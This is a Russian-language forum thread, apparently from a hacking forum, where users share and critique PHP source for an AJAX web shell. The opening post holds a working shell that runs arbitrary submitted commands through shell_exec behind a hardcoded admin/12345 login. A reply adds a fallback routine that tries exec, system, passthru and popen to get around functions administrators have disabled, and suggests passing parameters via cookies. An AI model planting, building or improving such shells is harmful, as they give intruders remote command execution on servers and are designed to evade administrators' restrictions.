Здравствуйте, уважаемые участники античата. С целью улучшения своих навыков программирования мы задались целью создать web shell. Вот, что у нас получилось к этому моменту: PHP: <?php session_start(); $file = $_SERVER["SCRIPT_NAME"]; // Future-friendly json_encode if( !function_exists('json_encode') ) { function json_encode($data) { $json = new Services_JSON(); return( $json->encode($data) ); } } //Authorization $LoginSuccessful = false; if (isset($_SERVER['PHP_AUTH_USER']) && isset($_SERVER['PHP_AUTH_PW'])){ $Username = $_SERVER['PHP_AUTH_USER']; $Password = $_SERVER['PHP_AUTH_PW']; if ($Username == 'admin' && $Password == '12345'){ $LoginSuccessful = true; } } if (!$LoginSuccessful){ header('WWW-Authenticate: Basic realm="Please, log in"'); header('HTTP/1.0 401 Unauthorized'); print "Login failed!\n"; die; } //Running commands in ajax mode if (isset($_GET['ajaxmode'])) { //Variables initializing $cmd = trim($_POST['cmd']); $osname = php_uname()."<br/>"; //Changing directories and running commands if (empty($_SESSION['path'])) { $_SESSION['path'] = '.';} chdir($_SESSION['path']); if (preg_match("/cd (.*)/",$cmd,$matches)) { chdir ($matches[1]); $cmdresult = nl2br(shell_exec('ls')); $cmdlog = 'cd '.$matches[1]; } elseif (preg_match("/chdir (.*)/",$cmd,$matches)) { chdir ($matches[1]); $cmdresult = nl2br(shell_exec('dir')); $cmdlog = 'chdir '.$matches[1]; } else { $cmdresult = nl2br(shell_exec($cmd)); $cmdlog = $cmd; } $path = getcwd(); $_SESSION['path'] = $path; $_SESSION['cmdlog'][] = $cmdlog; //Output resulting array echo json_encode(array("osname" => $osname, "result" => $cmdresult, "dpath" => $path, "cmdlog" => array_reverse($_SESSION['cmdlog']), "lcommand" => $cmdlog)); die; } //Destroying session if (isset($_GET['clearsess'])) { session_destroy(); die; } ?> <html> <head><title>Ajax shell v0.9k</title> <style type="text/css"> * { padding: 0;margin: 0 } #output { width: 70%; background-color: black; color: white; border: 7px solid #999; padding: 5px 5px; } #wrapper { padding: 3% 0 0 5%; } #cmdlog { color: yellow; } #lcommandw { background-color: #999; color: black; width: 250px; } #lcommand { padding:3px 0 0 7px; font-size: 18px; background-color: #6699CC; color: white; border: 7px solid #999; border-bottom: none; border-right: none; width:210px; display:inline-block; } #clog { width: 15px; display: inline-block; background-color: #6699CC; font-size: 20px; text-align: center; } #clog a { text-decoration: none; color: #FFFF99; } #clog-view { background: green; position: absolute; overflow: hidden; visibility: hidden; width: 150px; margin: -20px 0 0 0; font-size: 14px; text-align: left; max-height: 80%; } </style> <script type="text/javascript" src="http://www.google.com/jsapi"></script> <script type="text/javascript"> google.load("jquery", "1.3"); </script> <script src="http://jqueryui.com/latest/ui/effects.core.js"></script> <script type="text/javascript"> // Sending request to the ajax-response part of the application function runcmd () { $.post("<?=$file;?>?ajaxmode", $("#command").serialize(), function(data){ $("#cmd").val(''); $("#shortinfo").html(data.osname); $("#dpath").html(data.dpath); $("#lcommand").html(data.lcommand); $("#clog-view").html(''); $.each(data.cmdlog, function(i,item){ $("#clog-view").append('<li onmouseover="viewSel('+i+');return false;" onmouseout="viewUnsel('+i+');return false;" onclick="setCommand('+i+');return false;" id="cmdi'+i+'">' + item + '</li>'); if ( i == 9001 ) return false; }); $("#output").hide(500, function() {$("#output").html(data.result);$("#output").slideDown(1000);}); },"json"); } //Showing colored hover function viewSel(i) { $("#cmdi"+i).animate({ backgroundColor: "yellow" }, 100); } //Put color back function viewUnsel(i) { $("#cmdi"+i).animate({ backgroundColor: "green" }, 500); } //Inserting command to the command running text box function setCommand(i) { $("#cmd").val($("#cmdi"+i).text()); $("#clog-view").css('visibility', 'hidden'); $("#cmd").focus(); } //Javascript animations, basic actions $(document).ready(function(){ $("#cmd").keypress(function(k) {if (k.which == 13) { runcmd(); }}); $("#cl").click(function() { runcmd(); }); $("#sessd").click(function() { $.post("<?=$file;?>?clearsess"); }); $('#clog').hover(function() {$("#clog-view").css('visibility', 'visible');},function () {$("#clog-view").css('visibility', 'hidden');}); }); </script> </head> <body> <div style="float:right"><a id="sessd" href="#session_destroy" onclick="return false;">Clear session</a></div> <div id="wrapper"> <form id="command" name="command" action="#command" onsubmit="return false;"> <input type="text" id="cmd" name="cmd" style="width:50%"/> <a href="#command" onclick="return false;" id="cl">Run</a> </form><br/> <span id="dpath"> </span> <div id="shortinfo"> </div><br/> <div id="lcommandw"> <div id="lcommand"> </div> <div id="clog"><a href="#command_log"><b>↓</b></a><ul id="clog-view"> </ul></div> </div> <div id="output"> </div> </div> </body> <!-- (c) InetEssence --> </html> У нас к вам, уважаемые участники античата, большая просьба, пожалуйста, потестируйте на вашей системе(ах) и покритикуйте текущую версию. Спасибо. Шелл не предназначается для запуска на "вражеских" серверах, это просто небольшая оболочка, если вам нужно сделать что-то на ваших серверах. Да, функционала еще нет, поэтому мы и создали тему, чтобы узнать, чем следует доукомплектовать продукт. Для тех кто не знает азов английского комментарии в коде будут трудно читаемы.
Какой функционал нужно добавить? Вообще, мы всегда представляли, что шелл является командной строкой. Выгрузка и редактирование файлов?
Нужна критика? Учитывая те наработки, что на данный момент есть, написать нормальный, конкурентно способный, шелл вам не светит. Все же поясню, во первых ваша аяксовая консоль - говно, можете сравнить с моей наработкой, аналогично находится в зачатке, только начал писать: 1. Раз начали делать аяксовую консоль, то и доведите дело до конца - она должна создавать впечатление работы в нормальной консоли. Краткий пример на моем скриншоте. 2. Используете json. Накой хрен? можной обойтись и простым XMLHttpRequest. Например (вырезка с моего шелла): Code: function setcookie(name, value) { document.cookie = name + "=" + value +"; path=/; expires=Mon, 01-Jan-2090 00:00:00 GMT"; } function unsetcookie(name) { document.cookie = name + "=; path=/; expires=Mon, 01-Jan-2000 00:00:00 GMT"; } // ............................. function bashReport(httpRequest){ if (httpRequest.readyState == 4) { if (httpRequest.status == 200) { var responseText = httpRequest.responseText; // ну и тд .. } } } function getResult(cmd){ var httpRequest = false; if (window.XMLHttpRequest) { httpRequest = new XMLHttpRequest(); if (httpRequest.overrideMimeType) { httpRequest.overrideMimeType('text/xml'); } } else if (window.ActiveXObject){ try{ httpRequest = new ActiveXObject("Msxml2.XMLHTTP"); } catch (e) { try { httpRequest = new ActiveXObject("Microsoft.XMLHTTP"); } catch (e) {} } } httpRequest.onreadystatechange = function() { bashReport(httpRequest); }; httpRequest.open('GET', window.location.href, true); setcookie('module', 'console'); setcookie('cwd', escape(cwd)); setcookie('command', escape(cmd)); httpRequest.send(null); } 3. Подгружаете кучу сторонних js библиотек, накой хрен? шелл хоть и должен выглядеть прилично, но главное он должен быть быстрым и юзабельным. 4. Параметры в GET - забудьте про GET совсем. POST еще сойдет, но я бы порекомендовал передавать все параметры через куки и просто обновлять страницу Code: function nav(module, sub, param) { setcookie('module', module); setcookie('sub', sub); setcookie('param', param); window.location.reload(); } 5. Всюду shell_exec, это совсем не катит, он может быть и вырублен на сервере, используйте проверки, например: PHP: $disablefuncs = array(); function myshellexec($cmd) { global $disablefuncs; if (empty($cmd)) { return ''; } $result = ''; if (is_callable('exec') and !in_array('exec', $disablefuncs)) { exec($cmd, $result); $result = join("\n", $result); } elseif (($result = `$cmd`) !== FALSE) { } elseif (is_callable('system') and !in_array('system')) { ob_start(); system($cmd); $result = ob_get_contents(); ob_clean(); } elseif (is_callable('passthru') and !in_array('passthru', $disablefuncs)) { ob_start(); passthru($cmd); $result = ob_get_contents(); ob_clean(); } elseif (is_resource($fp = popen($cmd,"r"))) { while(!feof($fp)) { $result .= fread($fp, 1024); } pclose($fp); } else { $result = 'Shit. Can\'t execute command - paranoidal admin[s] has been disabled many functions!'; } return $result; } if (is_callable('ini_get')) { $disablefuncs = ini_get("disable_functions"); if (!empty($disablefuncs)) { $disablefuncs = str_replace(' ', '', $disablefuncs); $disablefuncs = explode(',', $disablefuncs); } else { $disablefuncs = array(); } } 6. Аналогично забудьте о сессиях, вполне хватит кук. Пока все, может еще дополню.
Это не шелл, нету загрузки файлов, информации о сервере, системе, правах, чмодах, отключенных функциях php, вообщем от шелла тут только командная строка, и все упирается в shell_exec() который в 99% отключен на нормальном сервере.
BlackSun, спасибо, а можно уточнить? Вы имеете ввиду наши наработки(неск-ко строчек кода) или уже существующие шеллы? Если первое, то можно уточнить что именно не так, и как это сделать лучше? Спасибо за развернутый ответ. Полностью согласны насчет пунктов 4 и 5, остальные лично для нас с нашими целями и в нашей ситуации находятся под рассмотрением.
b3, спасибо. Наша недорабтка, мы забыли уточнить, что этот шелл не предназначается для работы в "боевых" условиях, это просто что-то вроде домашней работы, или например, чтобы на своём сервере расставить "чмоды", что-то вроде этого. Определенно, мы добавим больше информации и выгрузку файлов.
Благодарим за критику. На данный момент мы добавили в туду лист пункты 4 и 5 из ответа BlackSun`a, а так же пожелания от b3.
Вот для сравнения мой шелл, достаточно давно писал, также с использованием AJAX: /showthread.php?p=995440#post995440. Несмотря на то, что и он достаточно прост, возможностей у него гораздо больше. PS. Ваш шелл у меня вообще не заработал ни в одном браузере (Win XP, php 5), причем в FF и в IE отображается по-разному.